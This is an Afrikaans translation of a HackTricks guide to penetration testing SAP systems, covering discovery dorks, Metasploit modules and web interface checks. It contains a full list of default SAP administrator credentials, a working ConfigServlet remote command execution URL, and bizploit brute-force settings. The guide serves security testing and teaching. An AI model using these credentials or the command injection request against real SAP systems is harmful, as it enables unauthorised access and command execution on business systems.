hacktricks/network-services-pentesting/pentesting-sap.md

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Inleiding oor SAP

SAP staan vir Stelseltoepassings en Produkte in Dataverwerking. SAP is ook die naam van die ERP Ondernemingshulpbronbeplanning sagteware sowel as die naam van die maatskappy. Die SAP-stelsel bestaan uit 'n aantal ten volle geïntegreerde modules, wat feitlik elke aspek van besigheidsbestuur dek.

Elke SAP-instansie of SID bestaan uit drie lae: databasis, aansoek en aanbieding), elke landskap bestaan gewoonlik uit vier instansies: ontwikkeling, toets, QA en produksie. Elkeen van die lae kan tot op 'n sekere mate benut word, maar die meeste effek kan verkry word deur die databasis aan te val.

Elke SAP-instansie is verdeel in kliënte. Elkeen het 'n gebruiker SAP*, die aansoek se ekwivalent van "root". Met die aanvanklike skepping kry hierdie gebruiker SAP* 'n verstekwagwoord: "060719992" meer verstekwagwoorde hieronder. Jy sal verbaas wees as jy geweet het hoe dikwels hierdie wagwoorde nie verander word in toets- of ontwikkelingsomgewings nie!

Probeer om toegang tot die skaal van enige bediener te kry deur die gebruikersnaam <SID>adm te gebruik. Bruteforcing kan help, alhoewel daar 'n rekeningblokkering-meganisme kan wees.

Ontdekking

Die volgende afdeling is meestal van https://github.com/shipcod3/mySapAdventures van gebruiker shipcod3!

• Kontroleer die Aansoekomvang of Programkort vir toetsdoeleindes. Neem kennis van die gasheernames of stelselinstansies vir die koppeling na SAP GUI.
• Gebruik OSINT open source intelligence, Shodan en Google Dorks om te kyk vir lêers, subdomeine, en sappige inligting as die aansoek aan die internet blootgestel is of openbaar is:

inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine

• Hier is hoe http://SAP:50000/irj/portal lyk

• Gebruik nmap om vir oop poorte en bekende dienste sap routers, webdnypro, web dienste, web bedieners, ens. te kontroleer
• Kruip deur die URL's as daar 'n webbediener hardloop.
• Fuzz die gids jy kan Burp Intruder gebruik as dit webbedieners op sekere poorte het. Hier is 'n paar goeie woordlyste wat deur die SecLists Project voorsien word om standaard SAP ICM-paaie en ander interessante gids of lêers te vind:

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt

• Gebruik die SAP DIENS ONTDEKKING hulp Metasploit module vir die opspoor van SAP instansies/dienste/komponente:

msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-01            yes       Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS                        yes       The target address range or CIDR identifier
THREADS      1                yes       The number of concurrent threads
TIMEOUT      1000             yes       The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101:       - [SAP] Beginning service Discovery '192.168.96.101'

Toets die Dik Klient / SAP GUI

Hier is die bevel om met SAP GUI te verbind sapgui <sap bediener gasnaam> <sisteemnommer>

• Kontroleer vir verstekgelde In Bugcrowd se Kwetsbaarheidsgraderingstaksonomie word dit beskou as P1 -> Bedienertoestelbeveiliging \| Gebruik van Verstekgelde \| Produksiebediener:

# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001

• Hardloop Wireshark en verifieer aan die klient (SAP GUI) met die geloofsbriewe wat jy gekry het omdat sommige kliënte geloofsbriewe sonder SSL oordra. Daar is twee bekende invoegtoepassings vir Wireshark wat die hoofkoppe wat deur die SAP DIAG-protokol gebruik word, kan ontled: SecureAuth Labs SAP-ontledingsinvoegtoepassing en SAP DIAG-invoegtoepassing deur die Positive Research Center.
• Kontroleer vir voorreg-escalasies soos die gebruik van sekere SAP-transaksiekodes (tcodes) vir lae-voorreggebruikers:
  • SU01 - Om gebruikers te skep en te onderhou
  • SU01D - Om Gebruikers te vertoon
  • SU10 - Vir massawartuig
  • SU02 - Vir Handmatige skepping van profiele
  • SM19 - Sekuriteitsoudit - konfigurasie
  • SE84 - Inligtingstelsel vir SAP R/3-outorisasies
• Kontroleer of jy stelselopdragte kan uitvoer / skripte kan hardloop in die klient.
• Kontroleer of jy XSS kan doen op BAPI Explorer

Toets die webkoppelvlak

• Kruip die URL's (sien ontdekkingsfase).
• Fuzz die URL's soos in die ontdekkingsfase. Hier is hoe http://SAP:50000/index.html lyk:

• Soek na algemene webkwesbaarhede (Verwys na OWASP Top 10) omdat daar XSS, RCE, XXE, ens. kwesbaarhede op sommige plekke is.
• Kyk na Jason Haddix se “The Bug Hunters Methodology” vir die toets van webkwesbaarhede.
• Auth Bypass via werkwoordmanipulasie? Dalk :)
• Maak http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees# oop en druk dan die "Kies" knoppie en druk dan in die oop venster "Soek". Jy behoort 'n lys van SAP-gebruikers te sien (Kwesbaarheidsverwysing: ERPSCAN-16-010)
• Word die geloofsbriewe oor HTTP ingedien? As dit wel is, word dit beskou as P3 gebaseer op Bugcrowd se Kwesbaarheidsgraderingstaksonomie: Gebreekte Identifisering en Sessiebestuur | Swak Aanmeldingsfunksie oor HTTP. Wenk: Kyk ook na http://SAP:50000/startPage of die aanmeldingsportale :)

• Probeer /irj/go/km/navigation/ vir moontlike gidslys of aanmeldingsbypass
• http://SAP/sap/public/info bevat 'n paar sappige inligting:

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Aanval!

• Kontroleer of dit op ou bedieners of tegnologieë soos Windows 2000 loop.
• Beplan die moontlike uitbuitings / aanvalle, daar is baie Metasploit-modules vir SAP-ontdekking hulpmodules en uitbuitings:

msf > search sap
Matching Modules
================
Name                                                                     Disclosure Date  Rank       Description
----                                                                     ---------------  ----       -----------
auxiliary/admin/maxdb/maxdb_cons_exec                                    2008-01-09       normal     SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth                        2012-11-01       normal     SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec                                                   normal     SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file                                            normal     SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi                                  2008-11-13       normal     Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi                              2011-04-12       normal     Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute                                     normal     SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web                                 normal     SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum                                      normal     SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum                                   normal     SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt                                    normal     SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem                                      normal     SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info                                                 normal     SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan                                                     normal     SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog                                                normal     SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login                                            normal     SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers                                           normal     SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints                                        normal     SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv                                                 normal     SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles                                            normal     SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist                                         normal     SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter                                    normal     SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties                                     normal     SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles                                           normal     SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile                                           normal     SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version                                                normal     SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request                                             normal     SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner                                              normal     SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery                                               normal     SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay                                                       normal     SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1                                          normal     SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login                                            normal     SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec                   normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec                               normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing                              normal     SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence                            normal     SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping                                                   normal     SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table                                             normal     SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir                                           normal     SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface                                normal     SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec                                  normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec                                      normal     SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info                                            normal     SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure                                       normal     SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login                                             normal     SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload                            2011-03-08       excellent  SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec                     2013-03-26       great      SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec                         2012-05-08       great      SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download                        2009-04-15       excellent  EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml                    2007-07-05       normal     EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile                     2009-03-31       normal     SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth                       2012-11-01       great      SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec                           2012-08-14       average    SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools                                      2007-07-05       great      SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd                                               2008-02-04       good       SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license                                    2009-08-01       great      SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher                            2012-05-08       normal     SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow

• Probeer om bekende exploits te gebruik (kyk na Exploit-DB) of aanvalle soos die ou maar goeie "SAP ConfigServlet Remote Code Execution" in die SAP Portal:

http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a

• Voordat jy die start bevel op die bizploit skrip hardloop tydens die Ontdekkingsfase, kan jy ook die volgende byvoeg vir die uitvoering van kwetsbaarheidsevaluering:

bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start

Ander Nuttige Gereedskap vir Toetsing

• PowerSAP - Powershell-gereedskap om SAP-sekuriteit te assesseer
• Burp Suite - 'n moet hê vir gidsfuzzing en web-sekuriteitsassessering
• pysap - Python-biblioteek om SAP-netwerkprotokolpakkette te skep
• https://github.com/gelim/nmap-erpscan - Help nmap om SAP/ERP op te spoor

Verwysings

• SAP Penetration Testing Using Metasploit
• https://github.com/davehardy20/SAP-Stuff - 'n skrip om Bizploit semi-outomaties te maak
• SAP NetWeaver ABAP-sekuriteitskonfigurasie deel 3: Standaard wagwoorde vir toegang tot die aansoek
• Lys van ABAP-transaksiekodes wat verband hou met SAP-sekuriteit
• Breaking SAP Portal
• Top 10 mees interessante SAP-kwesbaarhede en aanvalle
• Assessing the security of SAP ecosystems with bizploit: Discovery
• https://www.exploit-db.com/docs/43859
• https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/
• https://github.com/shipcod3/mySapAdventures

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Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
• Kry die amptelike PEASS & HackTricks swag
• Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
• Sluit aan by 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
• Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.